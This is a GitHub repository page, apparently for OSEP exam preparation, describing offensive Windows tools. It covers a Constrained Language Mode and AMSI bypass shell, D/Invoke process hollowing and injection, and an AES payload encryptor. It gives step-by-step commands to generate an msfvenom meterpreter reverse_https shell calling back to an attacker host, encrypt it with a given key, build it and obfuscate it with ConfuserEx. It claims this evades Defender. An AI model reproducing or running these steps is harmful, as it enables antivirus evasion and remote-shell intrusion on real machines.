n3k7ar91 / dinvoke-c- Goto Github PK

This is used to bypass CLM when you already have access to the system (like a reverse shell or RDP). It provides a PS shell with AMSI disabled in "FullLanguage" mode that you can interactively execute commands in.

Contains a list of PowerShell file transfer methods highlighting if they are "proxy aware" and if they work in when your in "ContrainedLanguageMode".

Uses D/Invoke to hollow a process of your choosing. The default is "svchost". This is based on the work of FatCyclone D/Invoke in C# with the AV bypasses stripped and I added AES128 ECB encryption.

Note that msfvenon encoders don't work for this use-case. Do not encode your payload

1. Create a msfvenom payload

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.128 LPORT=443 EXITFUNC=thread -f raw -o ~/OSEP/shell.raw

2. Now AES 128 ECB encrypt your payload: (Note key is 16 chars. No less or No more.)

python aes-encode.py --key 777456789abcdety --format csharp --file shell.raw

3. Take the output and put it into the VS project. Also set your key. Build it.
4. Then obfuscate with ConfuserEx.
5. PWN2OWN

As of 11/30/2021 this passes Defender

Same as above except it uses process injection. Default is "explorer". This is based on the work of FatCyclone D/Invoke in C# with the AV bypasses stripped and I added AES128 ECB encryption. Msfvenon encoders appear to work with this method.

Use this to encrypt you payloads with AES 128 ECB.

# Usage:

# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.128 LPORT=443 EXITFUNC=thread -f raw -o ~/OSEP/shell.raw

# python aes-encode.py --key 777456789abcdety --format csharp --file shell.raw

#

# ***** Note don't use msfvenom encoders with d/invoke process hollowing. It crashes process right on startup!!! ***

# Key size is 16 chars! No More or less